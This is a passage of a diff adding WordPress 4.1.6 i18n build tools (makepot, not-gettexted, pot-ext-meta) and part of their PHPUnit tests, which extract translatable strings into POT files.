+			'includes' => array(), 'excludes' => array( 'wp-admin/.*', 'wp-content/themes/.*' ),
+			'default_output' => 'wordpress.pot',
+		) );
+	}
+
+	function wp_admin($dir, $output) {
+		if ( ! file_exists( "$dir/wp-admin/user/about.php" ) ) return false;
+
+		$frontend_pot = $this->tempnam( 'frontend.pot' );
+		if ( false === $frontend_pot ) return false;
+
+		$frontend_result = $this->wp_frontend( $dir, $frontend_pot );
+		if ( ! $frontend_result )
+			return false;
+
+		$result = $this->wp_generic( $dir, array(
+			'project' => 'wp-admin', 'output' => $output,
+			'includes' => array( 'wp-admin/.*' ), 'excludes' => array( 'wp-admin/includes/continents-cities\.php', 'wp-admin/network/.*', 'wp-admin/network.php' ),
+			'default_output' => 'wordpress-admin.pot',
+		) );
+
+		if ( ! $result )
+			return false;
+
+                $potextmeta = new PotExtMeta;
+                $result = $potextmeta->append( "$dir/wp-content/plugins/akismet/akismet.php", $output );
+		if ( ! $result )
+			return false;
+		$result = $potextmeta->append( "$dir/wp-content/plugins/hello.php", $output );
+		if ( ! $result )
+			return false;
+                /* Adding non-gettexted strings can repeat some phrases */
+                $output_shell = escapeshellarg($output);
+                system("msguniq $output_shell -o $output_shell");
+
+		$common_pot = $this->tempnam( 'common.pot' );
+		if ( ! $common_pot )
+			return false;
+		$admin_pot = realpath( is_null( $output ) ? 'wordpress-admin.pot' : $output );
+		system( "msgcat --more-than=1 --use-first $frontend_pot $admin_pot > $common_pot" );
+		system( "msgcat -u --use-first $admin_pot $common_pot -o $admin_pot" );
+		return true;
+	}
+
+	function wp_network_admin($dir, $output) {
+		if ( ! file_exists( "$dir/wp-admin/user/about.php" ) ) return false;
+
+		$frontend_pot = $this->tempnam( 'frontend.pot' );
+		if ( false === $frontend_pot ) return false;
+
+		$frontend_result = $this->wp_frontend( $dir, $frontend_pot );
+		if ( ! $frontend_result )
+			return false;
+
+		$admin_pot = $this->tempnam( 'admin.pot' );
+		if ( false === $admin_pot ) return false;
+
+		$admin_result = $this->wp_admin( $dir, $admin_pot );
+		if ( ! $admin_result )
+			return false;
+
+		$result = $this->wp_generic( $dir, array(
+			'project' => 'wp-network-admin', 'output' => $output,
+			'includes' => array( 'wp-admin/network/.*', 'wp-admin/network.php' ), 'excludes' => array(),
+			'default_output' => 'wordpress-admin-network.pot',
+		) );
+
+		if ( ! $result ) {
+			return false;
+		}
+
+		$common_pot = $this->tempnam( 'common.pot' );
+		if ( ! $common_pot )
+			return false;
+
+		$net_admin_pot = realpath( is_null( $output ) ? 'wordpress-network-admin.pot' : $output );
+		system( "msgcat --more-than=1 --use-first $frontend_pot $admin_pot $net_admin_pot > $common_pot" );
+		system( "msgcat -u --use-first $net_admin_pot $common_pot -o $net_admin_pot" );
+		return true;
+	}
+
+	function wp_ms($dir, $output) {
+		if ( file_exists( "$dir/wp-admin/user/about.php" ) ) return false;
+		if ( !is_file("$dir/wp-admin/ms-users.php") ) return false;
+		$core_pot = $this->tempnam( 'wordpress.pot' );
+		if ( false === $core_pot ) return false;
+		$core_result = $this->wp_core( $dir, $core_pot );
+		if ( ! $core_result )
+			return false;
+		$ms_result = $this->wp_generic( $dir, array(
+			'project' => 'wp-ms', 'output' => $output,
+			'includes' => $this->ms_files, 'excludes' => array(),
+			'default_output' => 'wordpress-ms.pot',
+			'extract_not_gettexted' => true,
+			'not_gettexted_files_filter' => array( $this, 'is_ms_file' ),
+		) );
+		if ( !$ms_result ) {
+			return false;
+		}
+		$common_pot = $this->tempnam( 'common.pot' );
+		if ( ! $common_pot )
+			return false;
+		$ms_pot = realpath( is_null( $output )? 'wordpress-ms.pot' : $output );
+		system( "msgcat --more-than=1 --use-first $core_pot $ms_pot > $common_pot" );
+		system( "msgcat -u --use-first $ms_pot $common_pot -o $ms_pot" );
+		return true;
+	}
+
+	function wp_tz($dir, $output) {
+		$continents_path = 'wp-admin/includes/continents-cities.php';
+		if ( !file_exists( "$dir/$continents_path" ) ) return false;
+		return $this->wp_generic( $dir, array(
+			'project' => 'wp-tz', 'output' => $output,
+			'includes' => array($continents_path), 'excludes' => array(),
+			'default_output' => 'wordpress-continents-cities.pot',
+		) );
+	}
+
+	function wp_version($dir) {
+		$version_php = $dir.'/wp-includes/version.php';
+		if ( !is_readable( $version_php ) ) return false;
+		return preg_match( '/\$wp_version\s*=\s*\'(.*?)\';/', file_get_contents( $version_php ), $matches )? $matches[1] : false;
+	}
+
+
+	function mu($dir, $output) {
+		$placeholders = array();
+		if (preg_match('/\$wpmu_version\s*=\s*\'(.*?)\';/', file_get_contents($dir.'/wp-includes/version.php'), $matches)) {
+			$placeholders['version'] = $matches[1];
+		}
+		$output = is_null($output)? 'wordpress.pot' : $output;
+		return $this->xgettext('wp', $dir, $output, $placeholders);
+	}
+
+
+	function bb($dir, $output) {
+		$placeholders = array();
+		$output = is_null($output)? 'bbpress.pot' : $output;
+		return $this->xgettext('bb', $dir, $output, $placeholders);
+
+	}
+
+	function get_first_lines($filename, $lines = 30) {
+		$extf = fopen($filename, 'r');
+		if (!$extf) return false;
+		$first_lines = '';
+		foreach(range(1, $lines) as $x) {
+			$line = fgets($extf);
+			if (feof($extf)) break;
+			if (false === $line) {
+				return false;
+			}
+			$first_lines .= $line;
+		}
+		return $first_lines;
+	}
+
+
+	function get_addon_header($header, &$source) {
+		if (preg_match('|'.$header.':(.*)$|mi', $source, $matches))
+			return trim($matches[1]);
+		else
+			return false;
+	}
+
+	function generic($dir, $output) {
+		$output = is_null($output)? "generic.pot" : $output;
+		return $this->xgettext('generic', $dir, $output, array());
+	}
+
+	function guess_plugin_slug($dir) {
+		if ('trunk' == basename($dir)) {
+			$slug = basename(dirname($dir));
+		} elseif (in_array(basename(dirname($dir)), array('branches', 'tags'))) {
+			$slug = basename(dirname(dirname($dir)));
+		} else {
+			$slug = basename($dir);
+		}
+		return $slug;
+	}
+
+	function wp_plugin($dir, $output, $slug = null) {
+		$placeholders = array();
+		// guess plugin slug
+		if (is_null($slug)) {
+			$slug = $this->guess_plugin_slug($dir);
+		}
+
+		$plugins_dir = @opendir( $dir );
+		$plugin_files = array();
+		if ( $plugins_dir ) {
+			while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
+				if ( '.' === substr( $file, 0, 1 ) ) {
+					continue;
+				}
+
+				if ( '.php' === substr( $file, -4 ) ) {
+					$plugin_files[] = $file;
+				}
+			}
+			closedir( $plugins_dir );
+		}
+
+		if ( empty( $plugin_files ) ) {
+			return false;
+		}
+
+		$main_file = '';
+		foreach ( $plugin_files as $plugin_file ) {
+			if ( ! is_readable( "$dir/$plugin_file" ) ) {
+				continue;
+			}
+
+			$source = $this->get_first_lines( "$dir/$plugin_file", $this->max_header_lines );
+
+			// Stop when we find a file with a plugin name header in it.
+			if ( $this->get_addon_header( 'Plugin Name', $source ) != false ) {
+				$main_file = "$dir/$plugin_file";
+				break;
+			}
+		}
+
+		if ( empty( $main_file ) ) {
+			return false;
+		}
+
+		$placeholders['version'] = $this->get_addon_header('Version', $source);
+		$placeholders['author'] = $this->get_addon_header('Author', $source);
+		$placeholders['name'] = $this->get_addon_header('Plugin Name', $source);
+		$placeholders['slug'] = $slug;
+
+		$output = is_null($output)? "$slug.pot" : $output;
+		$res = $this->xgettext('wp-plugin', $dir, $output, $placeholders);
+		if (!$res) return false;
+		$potextmeta = new PotExtMeta;
+		$res = $potextmeta->append($main_file, $output);
+		/* Adding non-gettexted strings can repeat some phrases */
+		$output_shell = escapeshellarg($output);
+		system("msguniq $output_shell -o $output_shell");
+		return $res;
+	}
+
+	function wp_theme($dir, $output, $slug = null) {
+		$placeholders = array();
+		// guess plugin slug
+		if (is_null($slug)) {
+			$slug = $this->guess_plugin_slug($dir);
+		}
+		$main_file = $dir.'/style.css';
+		$source = $this->get_first_lines($main_file, $this->max_header_lines);
+
+		$placeholders['version'] = $this->get_addon_header('Version', $source);
+		$placeholders['author'] = $this->get_addon_header('Author', $source);
+		$placeholders['name'] = $this->get_addon_header('Theme Name', $source);
+		$placeholders['slug'] = $slug;
+
+		$license = $this->get_addon_header( 'License', $source );
+		if ( $license )
+			$this->meta['wp-theme']['comments'] = "Copyright (C) {year} {author}\nThis file is distributed under the {$license}.";
+		else
+			$this->meta['wp-theme']['comments'] = "Copyright (C) {year} {author}\nThis file is distributed under the same license as the {package-name} package.";
+
+		$output = is_null($output)? "$slug.pot" : $output;
+		$res = $this->xgettext('wp-theme', $dir, $output, $placeholders);
+		if (! $res )
+			return false;
+		$potextmeta = new PotExtMeta;
+		$res = $potextmeta->append( $main_file, $output, array( 'Theme Name', 'Theme URI', 'Description', 'Author', 'Author URI' ) );
+		if ( ! $res )
+			return false;
+		// If we're dealing with a pre-3.4 default theme, don't extract page templates before 3.4.
+		$extract_templates = ! in_array( $slug, array( 'twentyten', 'twentyeleven', 'default', 'classic' ) );
+		if ( ! $extract_templates ) {
+			$wp_dir = dirname( dirname( dirname( $dir ) ) );
+			$extract_templates = file_exists( "$wp_dir/wp-admin/user/about.php" ) || ! file_exists( "$wp_dir/wp-load.php" );
+		}
+		if ( $extract_templates ) {
+			$res = $potextmeta->append( $dir, $output, array( 'Template Name' ) );
+			if ( ! $res )
+				return false;
+			$files = scandir( $dir );
+			foreach ( $files as $file ) {
+				if ( '.' == $file[0] || 'CVS' == $file )
+					continue;
+				if ( is_dir( $dir . '/' . $file ) ) {
+					$res = $potextmeta->append( $dir . '/' . $file, $output, array( 'Template Name' ) );
+					if ( ! $res )
+						return false;
+				}
+			}
+		}
+		/* Adding non-gettexted strings can repeat some phrases */
+		$output_shell = escapeshellarg($output);
+		system("msguniq $output_shell -o $output_shell");
+		return $res;
+	}
+
+	function bp($dir, $output) {
+		$output = is_null($output)? "buddypress.pot" : $output;
+		return $this->xgettext('bp', $dir, $output, array(), array('bp-forums/bbpress/.*'));
+	}
+
+	function glotpress( $dir, $output ) {
+		$output = is_null( $output ) ? "glotpress.pot" : $output;
+		return $this->xgettext( 'glotpress', $dir, $output );
+	}
+
+	function wporg_bb_forums( $dir, $output ) {
+		$output = is_null( $output ) ? 'wporg.pot' : $output;
+		return $this->xgettext( 'wporg-bb-forums', $dir, $output, array(), array(
+			'bb-plugins/elfakismet/.*',
+			'bb-plugins/support-forum/.*',
+		) );
+	}
+
+	function rosetta( $dir, $output ) {
+		$output = is_null( $output )? 'rosetta.pot' : $output;
+		return $this->xgettext( 'rosetta', $dir, $output, array(), array(), array(
+			'mu-plugins/rosetta.*\.php',
+			'mu-plugins/rosetta/[^/]+\.php',
+			'mu-plugins/rosetta/tmpl/.*\.php',
+			'themes/rosetta/.*\.php',
+		) );
+	}
+
+	function is_ms_file( $file_name ) {
+		$is_ms_file = false;
+		$prefix = substr( $file_name, 0, 2 ) === './'? '\./' : '';
+		foreach( $this->ms_files as $ms_file )
+			if ( preg_match( '|^'.$prefix.$ms_file.'$|', $file_name ) ) {
+				$is_ms_file = true;
+				break;
+			}
+		return $is_ms_file;
+	}
+
+	function is_not_ms_file( $file_name ) {
+		return !$this->is_ms_file( $file_name );
+	}
+}
+
+// run the CLI only if the file
+// wasn't included
+$included_files = get_included_files();
+if ($included_files[0] == __FILE__) {
+	$makepot = new MakePOT;
+	if ((3 == count($argv) || 4 == count($argv)) && in_array($method = str_replace('-', '_', $argv[1]), get_class_methods($makepot))) {
+		$res = call_user_func(array($makepot, $method), realpath($argv[2]), isset($argv[3])? $argv[3] : null);
+		if (false === $res) {
+			fwrite(STDERR, "Couldn't generate POT file!\n");
+		}
+	} else {
+		$usage  = "Usage: php makepot.php PROJECT DIRECTORY [OUTPUT]\n\n";
+		$usage .= "Generate POT file from the files in DIRECTORY [OUTPUT]\n";
+		$usage .= "Available projects: ".implode(', ', $makepot->projects)."\n";
+		fwrite(STDERR, $usage);
+		exit(1);
+	}
+}
Index: /tags/4.1.6/tools/i18n/not-gettexted.php
===================================================================
--- /tags/4.1.6/tools/i18n/not-gettexted.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/not-gettexted.php	(revision 33402)
@@ -0,0 +1,234 @@
+<?php
+/**
+ * Console application, which extracts or replaces strings for
+ * translation, which cannot be gettexted
+ *
+ * @package wordpress-i18n
+ * @subpackage tools
+ */
+// see: http://php.net/tokenizer
+if ( ! defined( 'T_ML_COMMENT' ) )
+	    define( 'T_ML_COMMENT', T_COMMENT );
+else
+	    define( 'T_DOC_COMMENT', T_ML_COMMENT );
+
+$pomo = dirname( dirname( dirname( __FILE__ ) ) ) . '/src/wp-includes/pomo';
+require_once "$pomo/po.php";
+require_once "$pomo/mo.php";
+
+class NotGettexted {
+	var $enable_logging = false;
+
+	var $STAGE_OUTSIDE = 0;
+	var $STAGE_START_COMMENT = 1;
+	var $STAGE_WHITESPACE_BEFORE = 2;
+	var $STAGE_STRING = 3;
+	var $STAGE_WHITESPACE_AFTER = 4;
+	var $STAGE_END_COMMENT = 4;
+
+	var $commands = array('extract' => 'command_extract', 'replace' => 'command_replace' );
+
+
+	function logmsg() {
+		$args = func_get_args();
+		if ($this->enable_logging) error_log(implode(' ', $args));
+	}
+
+	function stderr($msg, $nl=true) {
+		fwrite(STDERR, $msg.($nl? "\n" : ""));
+	}
+
+	function cli_die($msg) {
+		$this->stderr($msg);
+		exit(1);
+	}
+
+	function unchanged_token($token, $s='') {
+		return is_array($token)? $token[1] : $token;
+	}
+
+	function ignore_token($token, $s='') {
+		return '';
+	}
+
+	function list_php_files($dir) {
+		$files = array();
+		$items = scandir( $dir );
+		foreach ( (array) $items as $item ) {
+			$full_item = $dir . '/' . $item;
+			if ('.' == $item || '..' == $item)
+				continue;
+			if ('.php' == substr($item, -4))
+				$files[] = $full_item;
+			if (is_dir($full_item))
+				$files += array_merge($files, NotGettexted::list_php_files($full_item, $files));
+		}
+		return $files;
+	}
+
+
+	function make_string_aggregator($global_array_name, $filename) {
+		$a = $global_array_name;
+		return create_function('$string, $comment_id, $line_number', 'global $'.$a.'; $'.$a.'[] = array($string, $comment_id, '.var_export($filename, true).', $line_number);');
+	}
+
+	function make_mo_replacer($global_mo_name) {
+		$m = $global_mo_name;
+		return create_function('$token, $string', 'global $'.$m.'; return var_export($'.$m.'->translate($string), true);');
+	}
+
+	function walk_tokens(&$tokens, $string_action, $other_action, $register_action=null) {
+
+		$current_comment_id = '';
+		$current_string = '';
+		$current_string_line = 0;
+
+		$result = '';
+		$line = 1;
+
+		foreach($tokens as $token) {
+			if (is_array($token)) {
+				list($id, $text) = $token;
+				$line += substr_count($text, "\n");
+				if ((T_ML_COMMENT == $id || T_COMMENT == $id) && preg_match('|/\*\s*(/?WP_I18N_[a-z_]+)\s*\*/|i', $text, $matches)) {
+					if ($this->STAGE_OUTSIDE == $stage) {
+						$stage = $this->STAGE_START_COMMENT;
+						$current_comment_id = $matches[1];
+						$this->logmsg('start comment', $current_comment_id);
+						$result .= call_user_func($other_action, $token);
+						continue;
+					}
+					if ($this->STAGE_START_COMMENT <= $stage && $stage <= $this->STAGE_WHITESPACE_AFTER && '/'.$current_comment_id == $matches[1]) {
+						$stage = $this->STAGE_END_COMMENT;
+						$this->logmsg('end comment', $current_comment_id);
+						$result .= call_user_func($other_action, $token);
+						if (!is_null($register_action)) call_user_func($register_action, $current_string, $current_comment_id, $current_string_line);
+						continue;
+					}
+				} else if (T_CONSTANT_ENCAPSED_STRING == $id) {
+					if ($this->STAGE_START_COMMENT <= $stage && $stage < $this->STAGE_WHITESPACE_AFTER) {
+						eval('$current_string='.$text.';');
+						$this->logmsg('string', $current_string);
+						$current_string_line = $line;
+						$result .= call_user_func($string_action, $token, $current_string);
+						continue;
+					}
+				} else if (T_WHITESPACE == $id) {
+					if ($this->STAGE_START_COMMENT <= $stage && $stage < $this->STAGE_STRING) {
+						$stage = $this->STAGE_WHITESPACE_BEFORE;
+						$this->logmsg('whitespace before');
+						$result .= call_user_func($other_action, $token);
+						continue;
+					}
+					if ($this->STAGE_STRING < $stage && $stage < $this->STAGE_END_COMMENT) {
+						$stage = $this->STAGE_WHITESPACE_AFTER;
+						$this->logmsg('whitespace after');
+						$result .= call_user_func($other_action, $token);
+						continue;
+					}
+				}
+			}
+			$result .= call_user_func($other_action, $token);
+			$stage = $this->STAGE_OUTSIDE;
+			$current_comment_id = '';
+			$current_string = '';
+			$current_string_line = 0;
+		}
+		return $result;
+	}
+
+
+	function command_extract() {
+		$args = func_get_args();
+		$pot_filename = $args[0];
+		if (isset($args[1]) && is_array($args[1]))
+			$filenames = $args[1];
+		else
+			$filenames = array_slice($args, 1);
+
+		$global_name = '__entries_'.mt_rand(1, 1000);
+		$GLOBALS[$global_name] = array();
+
+		foreach($filenames as $filename) {
+			$tokens = token_get_all(file_get_contents($filename));
+			$aggregator = $this->make_string_aggregator($global_name, $filename);
+			$this->walk_tokens($tokens, array($this, 'ignore_token'), array($this, 'ignore_token'), $aggregator);
+		}
+
+		$potf = '-' == $pot_filename? STDOUT : @fopen($pot_filename, 'a');
+		if (false === $potf) {
+			$this->cli_die("Couldn't open pot file: $pot_filename");
+		}
+
+		foreach($GLOBALS[$global_name] as $item) {
+			@list($string, $comment_id, $filename, $line_number) = $item;
+			$filename = isset($filename)? preg_replace('|^\./|', '', $filename) : '';
+			$ref_line_number = isset($line_number)? ":$line_number" : '';
+			$args = array(
+				'singular' => $string,
+				'extracted_comments' => "Not gettexted string $comment_id",
+				'references' => array("$filename$ref_line_number"),
+			);
+			$entry = new Translation_Entry($args);
+			fwrite($potf, "\n".PO::export_entry($entry)."\n");
+		}
+		if ('-' != $pot_filename) fclose($potf);
+		return true;
+	}
+
+	function command_replace() {
+		$args = func_get_args();
+		$mo_filename = $args[0];
+		if (isset($args[1]) && is_array($args[1]))
+			$filenames = $args[1];
+		else
+			$filenames = array_slice($args, 1);
+
+		$global_name = '__mo_'.mt_rand(1, 1000);
+		$GLOBALS[$global_name] = new MO();
+		$replacer = $this->make_mo_replacer($global_name);
+
+		$res = $GLOBALS[$global_name]->import_from_file($mo_filename);
+		if (false === $res) {
+			$this->cli_die("Couldn't read MO file '$mo_filename'!");
+		}
+		foreach($filenames as $filename) {
+			$source = file_get_contents($filename);
+			if ( strlen($source) > 150000 ) continue;
+			$tokens = token_get_all($source);
+			$new_file = $this->walk_tokens($tokens, $replacer, array($this, 'unchanged_token'));
+			$f = fopen($filename, 'w');
+			fwrite($f, $new_file);
+			fclose($f);
+		}
+		return true;
+	}
+
+	function usage() {
+		$this->stderr('php i18n-comments.php COMMAND OUTPUTFILE INPUTFILES');
+		$this->stderr('Extracts and replaces strings, which cannot be gettexted');
+		$this->stderr('Commands:');
+		$this->stderr('	extract POTFILE PHPFILES appends the strings to POTFILE');
+		$this->stderr('	replace MOFILE PHPFILES replaces strings in PHPFILES with translations from MOFILE');
+	}
+
+	function cli() {
+		global $argv, $commands;
+		if (count($argv) < 4 || !in_array($argv[1], array_keys($this->commands))) {
+			$this->usage();
+			exit(1);
+		}
+		call_user_func_array(array($this, $this->commands[$argv[1]]), array_slice($argv, 2));
+	}
+}
+
+// run the CLI only if the file
+// wasn't included
+$included_files = get_included_files();
+if ($included_files[0] == __FILE__) {
+	error_reporting(E_ALL);
+	$not_gettexted = new NotGettexted;
+	$not_gettexted->cli();
+}
+
+?>
Index: /tags/4.1.6/tools/i18n/pot-ext-meta.php
===================================================================
--- /tags/4.1.6/tools/i18n/pot-ext-meta.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/pot-ext-meta.php	(revision 33402)
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Console application, which adds metadata strings from
+ * a WordPress extension to a POT file
+ *
+ * @package wordpress-i18n
+ * @subpackage tools
+ */
+
+$pomo = dirname( dirname( dirname( __FILE__ ) ) ) . '/src/wp-includes/pomo';
+require_once "$pomo/po.php";
+require_once dirname( __FILE__ ) . '/makepot.php';
+
+class PotExtMeta {
+
+	var $headers = array(
+		'Plugin Name',
+		'Theme Name',
+		'Plugin URI',
+		'Theme URI',
+		'Description',
+		'Author',
+		'Author URI',
+		'Tags',
+	);
+
+
+	function usage() {
+		fwrite(STDERR, "Usage: php pot-ext-meta.php EXT POT\n");
+		fwrite(STDERR, "Adds metadata from a WordPress theme or plugin file EXT to POT file\n");
+		exit(1);
+	}
+
+	function load_from_file($ext_filename) {
+		$makepot = new MakePOT;
+		$source = $makepot->get_first_lines($ext_filename);
+		$pot = '';
+		$po = new PO;
+		foreach($this->headers as $header) {
+			$string = $makepot->get_addon_header($header, $source);
+			if (!$string) continue;
+			$args = array(
+				'singular' => $string,
+				'extracted_comments' => $header.' of the plugin/theme',
+			);
+			$entry = new Translation_Entry($args);
+			$pot .= "\n".$po->export_entry($entry)."\n";
+		}
+		return $pot;
+	}
+
+	function append( $ext_filename, $pot_filename, $headers = null ) {
+		if ( $headers )
+			$this->headers = (array) $headers;
+		if ( is_dir( $ext_filename ) ) {
+			$pot = implode('', array_map(array($this, 'load_from_file'), glob("$ext_filename/*.php")));
+		} else {
+			$pot = $this->load_from_file($ext_filename);
+		}
+		$potf = '-' == $pot_filename? STDOUT : fopen($pot_filename, 'a');
+		if (!$potf) return false;
+		fwrite($potf, $pot);
+		if ('-' != $pot_filename) fclose($potf);
+		return true;
+	}
+}
+
+$included_files = get_included_files();
+if ($included_files[0] == __FILE__) {
+	ini_set('display_errors', 1);
+	$potextmeta = new PotExtMeta;
+	if (!isset($argv[1])) {
+		$potextmeta->usage();
+	}
+	$potextmeta->append( $argv[1], isset( $argv[2] ) ? $argv[2] : '-', isset( $argv[3] ) ? $argv[3] : null );
+}
+
+?>
Index: /tags/4.1.6/tools/i18n/t/ExtractTest.php
===================================================================
--- /tags/4.1.6/tools/i18n/t/ExtractTest.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/t/ExtractTest.php	(revision 33402)
@@ -0,0 +1,160 @@
+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/extract.php';
+
+class ExtractTest extends PHPUnit_Framework_TestCase {
+
+	function setUp() {
+		$this->extractor = new StringExtractor;
+		$this->extractor->rules = array(
+			'__' => array('string'),
+		);
+	}
+
+	function test_with_just_a_string() {
+		$expected = new Translation_Entry( array( 'singular' => 'baba', 'references' => array('baba.php:1') ) );
+		$result = $this->extractor->extract_from_code('<?php __("baba"); ?>', 'baba.php' );
+		$this->assertEquals( $expected, $result->entries['baba'] );
+	}
+
+	function test_entry_from_call_simple() {
+		$entry = $this->extractor->entry_from_call( array( 'name' => '__', 'args' => array('baba') ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => 'baba' ) ) );
+	}
+
+	function test_entry_from_call_nonexisting_function() {
+		$entry = $this->extractor->entry_from_call( array( 'name' => 'f', 'args' => array('baba') ), 'baba.php' );
+		$this->assertEquals( $entry, null );
+	}
+
+	function test_entry_from_call_too_few_args() {
+		$entry = $this->extractor->entry_from_call( array( 'name' => '__', 'args' => array() ), 'baba.php' );
+		$this->assertEquals( $entry, null );
+	}
+
+	function test_entry_from_call_non_expected_null_arg() {
+		$this->extractor->rules = array( '_nx' => array( 'singular', 'plural', 'context' ) );
+		$entry = $this->extractor->entry_from_call( array( 'name' => '_nx', 'args' => array('%s baba', null, 'noun') ), 'baba.php' );
+		$this->assertEquals( $entry, null );
+	}
+
+	function test_entry_from_call_more_args_should_be_ok() {
+		$this->extractor->rules = array( '__' => array('string') );
+		$entry = $this->extractor->entry_from_call( array( 'name' => '__', 'args' => array('baba', 5, 'pijo', null) ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => 'baba' ) ) );
+	}
+
+
+	function test_entry_from_call_context() {
+		$this->extractor->rules = array( '_x' => array( 'string', 'context' ) );
+		$entry = $this->extractor->entry_from_call( array( 'name' => '_x', 'args' => array('baba', 'noun') ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => 'baba', 'context' => 'noun' ) ) );
+	}
+
+	function test_entry_from_call_plural() {
+		$this->extractor->rules = array( '_n' => array( 'singular', 'plural' ) );
+		$entry = $this->extractor->entry_from_call( array( 'name' => '_n', 'args' => array('%s baba', '%s babas') ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => '%s baba', 'plural' => '%s babas' ) ) );
+	}
+
+	function test_entry_from_call_plural_and_context() {
+		$this->extractor->rules = array( '_nx' => array( 'singular', 'plural', 'context' ) );
+		$entry = $this->extractor->entry_from_call( array( 'name' => '_nx', 'args' => array('%s baba', '%s babas', 'noun') ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => '%s baba', 'plural' => '%s babas', 'context' => 'noun' ) ) );
+	}
+
+	function test_entry_from_call_extracted_comment() {
+		$entry = $this->extractor->entry_from_call( array( 'name' => '__', 'args' => array('baba'), 'comment' => 'translators: give me back my pants!' ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => 'baba', 'extracted_comments' => "translators: give me back my pants!\n" ) ) );
+	}
+
+	function test_entry_from_call_line_number() {
+		$entry = $this->extractor->entry_from_call( array( 'name' => '__', 'args' => array('baba'), 'line' => 10 ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => 'baba', 'references' => array('baba.php:10') ) ) );
+	}
+
+	function test_entry_from_call_zero() {
+		$entry = $this->extractor->entry_from_call( array( 'name' => '__', 'args' => array('0') ), 'baba.php' );
+		$this->assertEquals( $entry, new Translation_Entry( array( 'singular' => '0' ) ) );
+	}
+
+	function test_entry_from_call_multiple() {
+		$this->extractor->rules = array( 'c' => array( 'string', 'singular', 'plural' ) );
+		$entries = $this->extractor->entry_from_call( array( 'name' => 'c', 'args' => array('baba', 'dyado', 'dyados') ), 'baba.php' );
+		$this->assertEquals( array(
+				new Translation_Entry( array( 'singular' => 'baba' ) ), new Translation_Entry( array( 'singular' => 'dyado', 'plural' => 'dyados' ) ) ), $entries );
+	}
+
+	function test_entry_from_call_multiple_first_plural_then_two_strings() {
+		$this->extractor->rules = array( 'c' => array( 'singular', 'plural', null, 'string', 'string' ) );
+		$entries = $this->extractor->entry_from_call( array( 'name' => 'c', 'args' => array('dyado', 'dyados', 'baba', 'foo', 'bar') ), 'baba.php' );
+		$this->assertEquals( array(
+				new Translation_Entry( array( 'singular' => 'dyado', 'plural' => 'dyados' ) ),
+				new Translation_Entry( array( 'singular' => 'foo' ) ),
+				new Translation_Entry( array( 'singular' => 'bar' ) ) ), $entries );
+	}
+
+	function test_find_function_calls_one_arg_literal() {
+		$this->assertEquals( array( array( 'name' => '__', 'args' => array( 'baba' ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('__'), '<?php __("baba"); ?>' ) );
+	}
+
+	function test_find_function_calls_one_arg_zero() {
+		$this->assertEquals( array( array( 'name' => '__', 'args' => array( '0' ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('__'), '<?php __("0"); ?>' ) );
+	}
+
+	function test_find_function_calls_one_arg_non_literal() {
+		$this->assertEquals( array( array( 'name' => '__', 'args' => array( null ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('__'), '<?php __("baba" . "dudu"); ?>' ) );
+	}
+
+	function test_find_function_calls_shouldnt_be_mistaken_by_a_class() {
+		$this->assertEquals( array(), $this->extractor->find_function_calls( array('__'), '<?php class __ { }; ("dyado");' ) );
+	}
+
+	function test_find_function_calls_2_args_bad_literal() {
+		$this->assertEquals( array( array( 'name' => 'f', 'args' => array( null, "baba" ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('f'), '<?php f(5, "baba" ); ' ) );
+	}
+
+	function test_find_function_calls_2_args_bad_literal_bad() {
+		$this->assertEquals( array( array( 'name' => 'f', 'args' => array( null, "baba", null ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('f'), '<?php f(5, "baba", 5 ); ' ) );
+	}
+
+	function test_find_function_calls_1_arg_bad_concat() {
+		$this->assertEquals( array( array( 'name' => 'f', 'args' => array( null ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('f'), '<?php f( "baba" . "baba" ); ' ) );
+	}
+
+	function test_find_function_calls_1_arg_bad_function_call() {
+		$this->assertEquals( array( array( 'name' => 'f', 'args' => array( null ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('f'), '<?php f( g( "baba" ) ); ' ) );
+	}
+
+	function test_find_function_calls_2_arg_literal_bad() {
+		$this->assertEquals( array( array( 'name' => 'f', 'args' => array( "baba", null ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('f'), '<?php f( "baba", null ); ' ) );
+	}
+
+	function test_find_function_calls_2_arg_bad_with_parens_literal() {
+		$this->assertEquals( array( array( 'name' => 'f', 'args' => array( null, "baba" ), 'line' => 1 ) ), $this->extractor->find_function_calls( array('f'), '<?php f( g( "dyado", "chicho", "lelya "), "baba" ); ' ) );
+	}
+
+	function test_find_function_calls_with_comment() {
+		$this->assertEquals(
+			array( array( 'name' => 'f', 'args' => array( 'baba' ), 'line' => 1, 'comment' => 'translators: let your ears fly!' ) ),
+			$this->extractor->find_function_calls( array('f'), '<?php /* translators: let your ears fly! */ f( "baba" ); ' ) );
+	}
+
+	function test_find_function_calls_with_not_immediate_comment() {
+		$this->assertEquals(
+			array( array( 'name' => 'f', 'args' => array( 'baba' ), 'line' => 1, 'comment' => 'translators: let your ears fly!' ) ),
+			$this->extractor->find_function_calls( array('f'), '<?php /* translators: let your ears fly! */ $foo = g ( f( "baba" ) ); ' ) );
+	}
+
+	function test_find_function_calls_with_not_immediate_comment_include_only_latest() {
+		$this->assertEquals(
+			array( array( 'name' => 'f', 'args' => array( 'baba' ), 'line' => 1, 'comment' => 'translators: let your ears fly!' ) ),
+			$this->extractor->find_function_calls( array('f'), '<?php /* translators: boo */ /* translators: let your ears fly! */ /* baba */ $foo = g ( f( "baba" ) ); ' ) );
+	}
+
